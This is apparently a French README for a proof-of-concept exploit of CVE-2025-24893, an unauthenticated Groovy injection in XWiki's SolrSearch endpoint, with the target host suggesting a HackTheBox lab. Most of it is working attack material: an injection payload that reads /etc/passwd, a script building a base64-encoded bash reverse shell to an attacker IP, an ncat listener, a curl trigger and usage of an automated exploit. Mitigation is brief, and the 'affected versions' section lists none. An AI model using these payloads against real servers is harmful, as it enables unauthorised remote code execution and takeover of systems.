CVE-2025-24893 – Exécution de code à distance non authentifiée dans XWiki

0 Table des matières

1. Résumé
2. Détails de la vulnérabilité
3. Versions affectées
4. Preuve de concept
   • 4.1 Construire la charge utile
   • 4.2 Exploitation manuelle
   • 4.3 Exploit Python automatisé
5. Mitigation
6. Crédits & Références

1 Résumé

• CVE: 2025-24893
• Composant: macro SolrSearch (interface utilisateur XWiki)
• Sévérité: 9.8 / CRITIQUE (CVSS 3.1)
• Vecteur d’attaque: HTTP GET non authentifié
• Impact: Exécution arbitraire de Groovy → RCE au niveau système (permissions de l’utilisateur Jetty/Tomcat)

Le point de terminaison /xwiki/bin/get/Main/SolrSearch concatène l’entrée non fiable text= directement dans un modèle Freemarker.
En fermant prématurément le modèle et en ouvrant un nouveau bloc {{groovy}} … {{/groovy}}, un attaquant exécute du code Groovy arbitraire sans authentification.

2 Détails de la vulnérabilité

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch devrait intégrer le texte fourni comme contenu brut, mais le gestionnaire de macro n’échappe pas }}}, donc ce qui suit se produit :

1. }}} ferme le bloc Freemarker actuel.
2. L’attaquant ouvre une nouvelle macro :

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

• async=false force l’exécution synchrone (fonctionne même pour les invités).

3. Groovy s’exécute avec les permissions du processus JVM XWiki.

Un PoC minimal qui affiche /etc/passwd :

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

Variante encodée en URL (espaces → %20, accolades → %7B/%7D, etc.) :

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 Versions affectées

(source : avis OffSec & XWiki SEC-S 2025-02)

5 Preuve de concept

5.1 Construire la charge utile

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 Exploitation manuelle

# start listener
sudo ncat -lvnp 4444

# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 Exploit automatisé

xwiki_solr_rce.py est livré dans exploit/ (voir le bloc de code ci-dessous).

python CVE-2025-24893.py -u <URL CIBLE> -l <IP> -p <PORT>

où

<URL CIBLE> - URL incluant http:// ou https://

(passez -c "id" pour exécuter une commande arbitraire au lieu d’un shell)

6 Mitigation

• Mettez à niveau vers 15.10.11 / 14.10.17 ou ultérieur
• Contournement temporaire : désactiver la macro

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 Crédits & Références

• Recherche OffSec : « Unauth RCE in XWiki » – 20 février 2025
• Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-24893
• Exploit-DB #52136

Recherche & Preuve de concept : DeX1d

Avertissement : À usage éducatif uniquement. Lancer ceci contre des systèmes dont vous n’êtes pas propriétaire est illégal.